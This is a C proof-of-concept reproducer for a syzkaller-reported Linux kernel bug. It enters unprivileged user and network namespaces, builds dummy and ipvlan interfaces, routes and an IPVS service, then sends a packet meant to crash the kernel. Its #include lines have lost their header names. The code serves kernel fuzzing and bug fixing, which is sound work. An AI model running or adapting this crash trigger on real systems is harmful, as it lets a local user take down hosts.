// https://syzkaller.appspot.com/bug?id=99247913488c61917f31e4c5ec98b895d76d60b5 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define IP_VS_BASE_CTL (64+1024+64) #define IP_VS_SO_SET_ADD (IP_VS_BASE_CTL+2) #define IP_VS_SO_SET_ADDDEST (IP_VS_BASE_CTL+7) struct ip_vs_service_user { uint16_t protocol; uint32_t addr; uint16_t port; uint32_t fwmark; char sched_name[16]; unsigned int flags; unsigned int timeout; uint32_t netmask; }; struct ip_vs_dest_user { uint32_t addr; uint16_t port; unsigned int conn_flags; int weight; uint32_t u_threshold; uint32_t l_threshold; }; struct ip_vs_service_dest_user { struct ip_vs_service_user svc; struct ip_vs_dest_user dest; }; static void setup_uid_gid(void) { uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { printf("[-] unshare failed: %s\n", strerror(errno)); exit(1); } char buf[256]; int fd; fd = open("/proc/self/setgroups", O_WRONLY); if (fd >= 0) { if (write(fd, "deny\n", 5) < 0) {} close(fd); } fd = open("/proc/self/uid_map", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "0 %d 1\n", uid); if (write(fd, buf, strlen(buf)) < 0) {} close(fd); } fd = open("/proc/self/gid_map", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "0 %d 1\n", gid); if (write(fd, buf, strlen(buf)) < 0) {} close(fd); } printf("[+] unshare and uid/gid mapping successful.\n"); } static void setup_ipvs(void) { int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd < 0) { printf("[-] socket IPPROTO_RAW failed: %s\n", strerror(errno)); exit(1); } struct ip_vs_service_user svc; memset(&svc, 0, sizeof(svc)); svc.protocol = IPPROTO_UDP; svc.addr = inet_addr("10.0.0.1"); svc.port = htons(80); strcpy(svc.sched_name, "rr"); if (setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc)) < 0) { printf("[-] setsockopt IP_VS_SO_SET_ADD failed: %s\n", strerror(errno)); } else { printf("[+] setsockopt IP_VS_SO_SET_ADD successful.\n"); } struct ip_vs_service_dest_user svc_dest; memset(&svc_dest, 0, sizeof(svc_dest)); svc_dest.svc = svc; svc_dest.dest.addr = inet_addr("10.0.0.1"); svc_dest.dest.port = htons(80); svc_dest.dest.weight = 1; svc_dest.dest.conn_flags = 0x0000; // IP_VS_CONN_F_MASQ (NAT) if (setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADDDEST, &svc_dest, sizeof(svc_dest)) < 0) { printf("[-] setsockopt IP_VS_SO_SET_ADDDEST failed: %s\n", strerror(errno)); } else { printf("[+] setsockopt IP_VS_SO_SET_ADDDEST successful.\n"); } close(fd); } struct nl_req { struct nlmsghdr n; struct ifinfomsg i; char buf[1024]; }; static void addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return; rta = (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); rta->rta_type = type; rta->rta_len = len; memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); } static void addattr32(struct nlmsghdr *n, int maxlen, int type, uint32_t data) { addattr_l(n, maxlen, type, &data, sizeof(uint32_t)); } static void addattr16(struct nlmsghdr *n, int maxlen, int type, uint16_t data) { addattr_l(n, maxlen, type, &data, sizeof(uint16_t)); } static struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { struct rtattr *nest = (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); nest->rta_type = type; nest->rta_len = RTA_LENGTH(0); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(nest->rta_len); return nest; } static void addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { nest->rta_len = (char *)n + NLMSG_ALIGN(n->nlmsg_len) - (char *)nest; } static int send_netlink_msg(void *req, int len) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } struct iovec iov = { req, len }; struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } char buf[8192]; struct iovec iov_recv = { buf, sizeof(buf) }; struct msghdr msg_recv = { &sa, sizeof(sa), &iov_recv, 1, NULL, 0, 0 }; recvmsg(fd, &msg_recv, 0); close(fd); return 0; } static int create_dummy(const char *name) { struct nl_req req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.n.nlmsg_type = RTM_NEWLINK; req.i.ifi_family = AF_UNSPEC; addattr_l(&req.n, sizeof(req), IFLA_IFNAME, name, strlen(name) + 1); struct rtattr *linkinfo = addattr_nest(&req.n, sizeof(req), IFLA_LINKINFO); addattr_l(&req.n, sizeof(req), IFLA_INFO_KIND, "dummy", 6); addattr_nest_end(&req.n, linkinfo); return send_netlink_msg(&req, req.n.nlmsg_len); } static int create_ipvlan(const char *name, const char *link, uint16_t mode) { struct nl_req req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.n.nlmsg_type = RTM_NEWLINK; req.i.ifi_family = AF_UNSPEC; addattr_l(&req.n, sizeof(req), IFLA_IFNAME, name, strlen(name) + 1); addattr32(&req.n, sizeof(req), IFLA_LINK, if_nametoindex(link)); struct rtattr *linkinfo = addattr_nest(&req.n, sizeof(req), IFLA_LINKINFO); addattr_l(&req.n, sizeof(req), IFLA_INFO_KIND, "ipvlan", 7); struct rtattr *data = addattr_nest(&req.n, sizeof(req), IFLA_INFO_DATA); addattr16(&req.n, sizeof(req), 1 /* IFLA_IPVLAN_MODE */, mode); addattr_nest_end(&req.n, data); addattr_nest_end(&req.n, linkinfo); return send_netlink_msg(&req, req.n.nlmsg_len); } struct rt_req { struct nlmsghdr n; struct rtmsg r; char buf[1024]; }; static int add_route(const char *dst_ip, const char *dev, int metric) { struct rt_req req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; req.n.nlmsg_type = RTM_NEWROUTE; req.r.rtm_family = AF_INET; req.r.rtm_dst_len = 32; req.r.rtm_table = RT_TABLE_MAIN; req.r.rtm_protocol = RTPROT_BOOT; req.r.rtm_scope = RT_SCOPE_UNIVERSE; req.r.rtm_type = RTN_UNICAST; uint32_t dst = inet_addr(dst_ip); addattr_l(&req.n, sizeof(req), RTA_DST, &dst, 4); addattr32(&req.n, sizeof(req), RTA_OIF, if_nametoindex(dev)); addattr32(&req.n, sizeof(req), RTA_PRIORITY, metric); return send_netlink_msg(&req, req.n.nlmsg_len); } static int set_iff_up(const char *name) { int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) return -1; struct ifreq ifr = {0}; strncpy(ifr.ifr_name, name, IFNAMSIZ-1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) { close(fd); return -1; } ifr.ifr_flags |= IFF_UP; int res = ioctl(fd, SIOCSIFFLAGS, &ifr); close(fd); return res; } static int set_ip_addr(const char *name, const char *ip) { int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) return -1; struct ifreq ifr = {0}; strncpy(ifr.ifr_name, name, IFNAMSIZ-1); struct sockaddr_in *sin = (struct sockaddr_in *)&ifr.ifr_addr; sin->sin_family = AF_INET; sin->sin_addr.s_addr = inet_addr(ip); int res = ioctl(fd, SIOCSIFADDR, &ifr); close(fd); return res; } static int set_netmask(const char *name, const char *mask) { int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) return -1; struct ifreq ifr = {0}; strncpy(ifr.ifr_name, name, IFNAMSIZ-1); struct sockaddr_in *sin = (struct sockaddr_in *)&ifr.ifr_netmask; sin->sin_family = AF_INET; sin->sin_addr.s_addr = inet_addr(mask); int res = ioctl(fd, SIOCSIFNETMASK, &ifr); close(fd); return res; } int main(void) { setup_uid_gid(); if (set_iff_up("lo") < 0) { printf("[-] Failed to bring lo up\n"); } if (create_dummy("dummy0") < 0) { printf("[-] Failed to create dummy0\n"); } else { printf("[+] Created dummy0\n"); } if (set_iff_up("dummy0") < 0) { printf("[-] Failed to bring dummy0 up\n"); } if (set_ip_addr("dummy0", "192.168.0.1") < 0) { printf("[-] Failed to set dummy0 IP\n"); } if (set_netmask("dummy0", "255.255.255.0") < 0) { printf("[-] Failed to set dummy0 netmask\n"); } if (create_ipvlan("ipvlan0", "dummy0", 1) < 0) { // 1 = IPVLAN_MODE_L3 printf("[-] Failed to create ipvlan0\n"); } else { printf("[+] Created ipvlan0\n"); } if (set_iff_up("ipvlan0") < 0) { printf("[-] Failed to bring ipvlan0 up\n"); } if (add_route("10.0.0.1", "ipvlan0", 10) < 0) { printf("[-] Failed to add route to ipvlan0\n"); } else { printf("[+] Added route to ipvlan0\n"); } if (add_route("10.0.0.1", "dummy0", 20) < 0) { printf("[-] Failed to add route to dummy0\n"); } else { printf("[+] Added route to dummy0\n"); } setup_ipvs(); int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { printf("[-] socket failed: %s\n", strerror(errno)); exit(1); } struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(80), .sin_addr.s_addr = inet_addr("10.0.0.1") }; printf("[+] Triggering bug...\n"); if (sendto(fd, "boom", 4, 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[-] sendto failed: %s\n", strerror(errno)); } else { printf("[+] sendto successful.\n"); } // Give it a moment to crash sleep(1); return 0; }